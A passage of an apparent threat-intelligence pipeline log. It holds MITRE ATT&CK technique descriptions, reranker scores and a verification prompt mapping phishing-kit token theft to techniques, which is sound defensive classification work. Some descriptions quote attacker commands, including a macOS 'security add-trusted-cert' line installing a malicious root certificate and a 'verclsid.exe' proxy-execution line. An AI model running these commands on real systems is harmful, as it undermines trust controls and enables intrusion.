mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1553.004", + "text": "ATT&CK technique: T1553.004 Install Root Certificate\nDescription: Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications. Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1594", + "text": "ATT&CK technique: T1594 Search Victim-Owned Websites\nDescription: Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships. Adversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing). In addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1205.002", + "text": "ATT&CK technique: T1205.002 Socket Filters\nDescription: Adversaries may attach filters to a network socket to monitor then activate backdoors used for persistence or command and control. With elevated permissions, adversaries can use features such as the `libpcap` library to open sockets and install filters to allow or disallow certain types of data to come through the socket. The filter may apply to all traffic passing through the specified network interface (or every interface if not specified). When the network interface receives a packet matching the filter criteria, additional actions can be triggered on the host, such as activation of a reverse shell. To establish a connection, an adversary sends a crafted packet to the targeted host that matches the installed filter criteria. Adversaries have used these socket filters to trigger the installation of implants, conduct ping backs, and to invoke command shells. Communication with these socket filters may also be used in conjunction with Protocol Tunneling. Filters can be installed on any Unix-like platform with `libpcap` installed or on Windows hosts using `Winpcap`. Adversaries may use either `libpcap` with `pcap_setfilter` or the standard library function `setsockopt` with `SO_ATTACH_FILTER` options. Since the socket connection is not active until the packet is received, this behavior may be difficult to detect due to the lack of activity on a host, low CPU overhead, and limited visibility into raw socket usage.\nTactics: command and control, persistence, stealth\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1070.009", + "text": "ATT&CK technique: T1070.009 Clear Persistence\nDescription: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity. This may involve various actions, such as removing services, deleting executables, Modify Registry, Plist File Modification, or other methods of cleanup to prevent defenders from collecting evidence of their persistent presence. Adversaries may also delete accounts previously created to maintain persistence (i.e. Create Account). In some instances, artifacts of persistence may also be removed once an adversary’s persistence is executed in order to prevent errors with the new instance of the malware.\nTactics: stealth\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1590", + "text": "ATT&CK technique: T1590 Gather Victim Network Information\nDescription: Adversaries may gather information about the victim's networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP ranges, domain names, etc.) as well as specifics regarding its topology and operations. Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: Search Open Technical Databases). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.002", + "text": "ATT&CK technique: T1596.002 WHOIS\nDescription: Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers. Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.001", + "text": "ATT&CK technique: T1596.001 DNS/Passive DNS\nDescription: Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS). Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Search Victim-Owned Websites or Search Open Websites/Domains), establishing operational resources (ex: Acquire Infrastructure or Compromise Infrastructure), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1595.003", + "text": "ATT&CK technique: T1595.003 Wordlist Scanning\nDescription: Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to Brute Force, its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: Gather Victim Org Information, or Search Victim-Owned Websites). For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories. This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: Exploit Public-Facing Application or Brute Force). As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure. Once storage objects are discovered, adversaries may leverage Data from Cloud Storage to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1557.003", + "text": "ATT&CK technique: T1557.003 DHCP Spoofing\nDescription: Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation. DHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows: 1. The client broadcasts a `DISCOVER` message. 2. The server responds with an `OFFER` message, which includes an available network address. 3. The client broadcasts a `REQUEST` message, which includes the network address offered. 4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters. Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network. DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations. Rather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.004", + "text": "ATT&CK technique: T1584.004 Server\nDescription: Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of purchasing a Server or Virtual Private Server, adversaries may compromise third-party servers in support of operations. Adversaries may also compromise web servers to support watering hole operations, as in Drive-by Compromise, or email servers to support Phishing operations.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1592", + "text": "ATT&CK technique: T1592 Gather Victim Host Information\nDescription: Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.). Adversaries may gather this information in various ways, such as direct collection actions via Active Scanning or Phishing for Information. Adversaries may also compromise sites then include malicious content designed to collect host information from visitors. Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: Supply Chain Compromise or External Remote Services). Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1218.012", + "text": "ATT&CK technique: T1218.012 Verclsid\nDescription: Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell. Adversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running verclsid.exe /S /C {CLSID}, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to Regsvr32). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.\nTactics: stealth\nPlatforms: Windows" + }, + { + "id": "T1668", + "text": "ATT&CK technique: T1668 Exclusive Control\nDescription: Adversaries who successfully compromise a system may attempt to maintain persistence by “closing the door” behind them – in other words, by preventing other threat actors from initially accessing or maintaining a foothold on the same system. For example, adversaries may patch a vulnerable, compromised system to prevent other threat actors from leveraging that vulnerability in the future. They may “close the door” in other ways, such as disabling vulnerable services, stripping privileges from accounts, or removing other malware already on the compromised device. Hindering other threat actors may allow an adversary to maintain sole access to a compromised system or network. This prevents the threat actor from needing to compete with or even being removed themselves by other threat actors. It also reduces the “noise” in the environment, lowering the possibility of being caught and evicted by defenders. Finally, in the case of Resource Hijacking, leveraging a compromised device’s full power allows the threat actor to maximize profit.\nTactics: persistence\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1572", + "text": "ATT&CK technique: T1572 Protocol Tunneling\nDescription: Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection/network filtering and/or enable access to otherwise unreachable systems. Tunneling involves explicitly encapsulating a protocol within another. This behavior may conceal malicious traffic by blending in with existing traffic and/or provide an outer layer of encryption (similar to a VPN). Tunneling could also enable routing of network packets that would otherwise not reach their intended destination, such as SMB, RDP, or other traffic that would be filtered by network appliances or not routed over the Internet. There are various means to encapsulate a protocol within another protocol. For example, adversaries may perform SSH tunneling (also known as SSH port forwarding), which involves forwarding arbitrary data over an encrypted SSH tunnel. Protocol Tunneling may also be abused by adversaries during Dynamic Resolution. Known as DNS over HTTPS (DoH), queries to resolve C2 infrastructure may be encapsulated within encrypted HTTPS packets. Adversaries may also leverage Protocol Tunneling in conjunction with Proxy and/or Protocol or Service Impersonation to further conceal C2 communications and infrastructure.\nTactics: command and control\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1070.008", + "text": "ATT&CK technique: T1070.008 Clear Mailbox Data\nDescription: Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS. Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.\nTactics: stealth\nPlatforms: Linux, Office Suite, Windows, macOS" + } + ], + "instruction": "Determine whether the ATT&CK technique directly describes the observed adversary behavior." + }, + "raw_response": { + "model": "Qwen/Qwen3-Reranker-4B", + "scores": [ + { + "item_id": "T1090", + "score": 0.99609375, + "rank": 0 + }, + { + "item_id": "T1090.002", + "score": 0.9765625, + "rank": 1 + }, + { + "item_id": "T1557", + "score": 0.97265625, + "rank": 2 + }, + { + "item_id": "T1185", + "score": 0.53125, + "rank": 3 + }, + { + "item_id": "T1665", + "score": 0.3203125, + "rank": 4 + }, + { + "item_id": "T1583", + "score": 0.306640625, + "rank": 5 + }, + { + "item_id": "T1496.004", + "score": 0.28125, + "rank": 6 + }, + { + "item_id": "T1090.001", + "score": 0.255859375, + "rank": 7 + }, + { + "item_id": "T1584", + "score": 0.255859375, + "rank": 8 + }, + { + "item_id": "T1090.003", + "score": 0.181640625, + "rank": 9 + }, + { + "item_id": "T1127", + "score": 0.181640625, + "rank": 10 + }, + { + "item_id": "T1659", + "score": 0.1328125, + "rank": 11 + }, + { + "item_id": "T1598.003", + "score": 0.1005859375, + "rank": 12 + }, + { + "item_id": "T1496.002", + "score": 0.09619140625, + "rank": 13 + }, + { + "item_id": "T1071", + "score": 0.0810546875, + "rank": 14 + }, + { + "item_id": "T1102", + "score": 0.0712890625, + "rank": 15 + }, + { + "item_id": "T1102.002", + "score": 0.052978515625, + "rank": 16 + }, + { + "item_id": "T1584.004", + "score": 0.047607421875, + "rank": 17 + }, + { + "item_id": "T1608.005", + "score": 0.039306640625, + "rank": 18 + }, + { + "item_id": "T1584.006", + "score": 0.033203125, + "rank": 19 + }, + { + "item_id": "T1001.003", + "score": 0.0311279296875, + "rank": 20 + }, + { + "item_id": "T1608", + "score": 0.029296875, + "rank": 21 + }, + { + "item_id": "T1102.001", + "score": 0.029296875, + "rank": 22 + }, + { + "item_id": "T1567", + "score": 0.0274658203125, + "rank": 23 + }, + { + "item_id": "T1056.003", + "score": 0.0242919921875, + "rank": 24 + }, + { + "item_id": "T1557.004", + "score": 0.0203857421875, + "rank": 25 + }, + { + "item_id": "T1553", + "score": 0.0203857421875, + "rank": 26 + }, + { + "item_id": "T1190", + "score": 0.0191650390625, + "rank": 27 + }, + { + "item_id": "T1608.004", + "score": 0.0191650390625, + "rank": 28 + }, + { + "item_id": "T1584.002", + "score": 0.0191650390625, + "rank": 29 + }, + { + "item_id": "T1204.001", + "score": 0.0167236328125, + "rank": 30 + }, + { + "item_id": "T1572", + "score": 0.015625, + "rank": 31 + }, + { + "item_id": "T1584.008", + "score": 0.0142822265625, + "rank": 32 + }, + { + "item_id": "T1592", + "score": 0.013427734375, + "rank": 33 + }, + { + "item_id": "T1553.004", + "score": 0.0111083984375, + "rank": 34 + }, + { + "item_id": "T1056", + "score": 0.01043701171875, + "rank": 35 + }, + { + "item_id": "T1588.004", + "score": 0.00982666015625, + "rank": 36 + }, + { + "item_id": "T1566", + "score": 0.00921630859375, + "rank": 37 + }, + { + "item_id": "T1189", + "score": 0.00921630859375, + "rank": 38 + }, + { + "item_id": "T1557.003", + "score": 0.00921630859375, + "rank": 39 + }, + { + "item_id": "T1204", + "score": 0.007171630859375, + "rank": 40 + }, + { + "item_id": "T1036", + "score": 0.006744384765625, + "rank": 41 + }, + { + "item_id": "T1594", + "score": 0.005584716796875, + "rank": 42 + }, + { + "item_id": "T1573", + "score": 0.004638671875, + "rank": 43 + }, + { + "item_id": "T1195", + "score": 0.004364013671875, + "rank": 44 + }, + { + "item_id": "T1596.004", + "score": 0.004364013671875, + "rank": 45 + }, + { + "item_id": "T1684.001", + "score": 0.004364013671875, + "rank": 46 + }, + { + "item_id": "T1571", + "score": 0.00360107421875, + "rank": 47 + }, + { + "item_id": "T1589", + "score": 0.0031890869140625, + "rank": 48 + }, + { + "item_id": "T1596.003", + "score": 0.002716064453125, + "rank": 49 + }, + { + "item_id": "T1105", + "score": 0.0026397705078125, + "rank": 50 + }, + { + "item_id": "T1020.001", + "score": 0.002471923828125, + "rank": 51 + }, + { + "item_id": "T1590", + "score": 0.0021209716796875, + "rank": 52 + }, + { + "item_id": "T1596.001", + "score": 0.0021209716796875, + "rank": 53 + }, + { + "item_id": "T1593.002", + "score": 0.0020599365234375, + "rank": 54 + }, + { + "item_id": "T1684", + "score": 0.0020599365234375, + "rank": 55 + }, + { + "item_id": "T1059", + "score": 0.00150299072265625, + "rank": 56 + }, + { + "item_id": "T1593.001", + "score": 0.00150299072265625, + "rank": 57 + }, + { + "item_id": "T1591.003", + "score": 0.00113677978515625, + "rank": 58 + }, + { + "item_id": "T1590.003", + "score": 0.00113677978515625, + "rank": 59 + }, + { + "item_id": "T1218.012", + "score": 0.00113677978515625, + "rank": 60 + }, + { + "item_id": "T1596.005", + "score": 0.00099945068359375, + "rank": 61 + }, + { + "item_id": "T1668", + "score": 0.000942230224609375, + "rank": 62 + }, + { + "item_id": "T1204.002", + "score": 0.000858306884765625, + "rank": 63 + }, + { + "item_id": "T1596.002", + "score": 0.000858306884765625, + "rank": 64 + }, + { + "item_id": "T1140", + "score": 0.000804901123046875, + "rank": 65 + }, + { + "item_id": "T1597.002", + "score": 0.00075531005859375, + "rank": 66 + }, + { + "item_id": "T1595.003", + "score": 0.000606536865234375, + "rank": 67 + }, + { + "item_id": "T1681", + "score": 0.00058746337890625, + "rank": 68 + }, + { + "item_id": "T1591.004", + "score": 0.00057220458984375, + "rank": 69 + }, + { + "item_id": "T1132", + "score": 0.000553131103515625, + "rank": 70 + }, + { + "item_id": "T1205.002", + "score": 0.0005035400390625, + "rank": 71 + }, + { + "item_id": "T1070.008", + "score": 0.0004177093505859375, + "rank": 72 + }, + { + "item_id": "T1070.009", + "score": 0.0003681182861328125, + "rank": 73 + }, + { + "item_id": "T1070", + "score": 0.0002460479736328125, + "rank": 74 + } + ], + "query_id": "behavior", + "usage": { + "input_tokens": 26327 + } + }, + "evidence_sha256": "d29b7b011f99eb3b794c938140eae1c9469593edb5b7da94850873aa6a3ccddd" + }, + { + "stage": "verify", + "function": "generate", + "requested_model": "Qwen/Qwen3.6-27B:no-spec", + "runtime_model": "Qwen/Qwen3.6-27B:no-spec", + "request_id": null, + "credits_debited": null, + "rate_book_version": null, + "execution_identity_sha256": null, + "latency_ms": 55961.0, + "request_payload": { + "prompt": "You verify one ATT&CK mapping from a threat report. Match the action and object in EXTRACTED EVENT to one candidate definition. SOURCE QUOTE is the evidence boundary. Do not infer a delivery channel, protocol, access method, or tool that the quote does not state. Select a sub-technique only when the quote states its defining detail; otherwise prefer a supported parent technique. Respect actor direction and operation phase. Downloading a payload into a compromised system is tool transfer. Acquiring malware means an adversary obtains a capability for a future operation. Advertising or selling malware proves neither action. Defensive and law-enforcement actions do not become adversary techniques. A labeled report example shows how the candidate has been used in public training data; it is guidance, not evidence for this quote. Independently decide whether the quote describes adversary activity. Copy the supporting words exactly from SOURCE QUOTE. Mark ambiguous when two candidates remain plausible. Mark unsupported and select -1 when none is supported. The analyst accepts or rejects the final mapping. Return one JSON object with exactly selected_index, support, evidence_quote, and rationale. Do not return an array. Write compact one-line JSON with no whitespace outside string values. Keep the rationale to one sentence under 30 words.\n\nEXTRACTED EVENT\nActor: phish kits\nAction: steal\nObject: tokens\nTarget: trusted layer of security\n\nSOURCE QUOTE\nphish kits are evolving with the times to steal these tokens and bypass this trusted layer of security\n\nCANDIDATE 0\nATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: New Voicemail-Themed Phishing Attacks Use Evasion Techniques and Steal Credentials\n\nCANDIDATE 1\nATT&CK technique: T1528 Steal Application Access Token\nDescription: Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources. Application access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS). Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment. For example, in Kubernetes environments, processes running inside a container may communicate with the Kubernetes API server using service account tokens. If a container is compromised, an adversary may be able to steal the container’s token and thereby gain access to Kubernetes API commands. Similarly, instances within continuous-development / continuous-integration (CI/CD) pipelines will often use API tokens to authenticate to other services for testing and deployment. If these pipelines are compromised, adversaries may be able to steal these tokens and leverage their privileges. In Azure, an adversary who compromises a resource with an attached Managed Identity, such as an Azure VM, can request short-lived tokens through the Azure Instance Metadata Service (IMDS). These tokens can then facilitate unauthorized actions or further access to other Azure services, bypassing typical credential-based authentication. Token theft can also occur through social engineering, in which case user action may be required to grant access. OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow. An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls. Then, they can send a Spearphishing Link to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: | T1528 | Steal Application Access Token | Steal access token for valid account |\n\nCANDIDATE 2\nATT&CK technique: T1111 Multi-Factor Authentication Interception\nDescription: Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.\nTactics: credential access\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 3\nATT&CK technique: T1553 Subvert Trust Controls\nDescription: Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site. Adversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct File and Directory Permissions Modification or Modify Registry in support of subverting these controls. Adversaries may also create or steal code signing certificates to acquire trust on target systems.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS\n\nCANDIDATE 4\nATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE\n\nCANDIDATE 5\nATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or 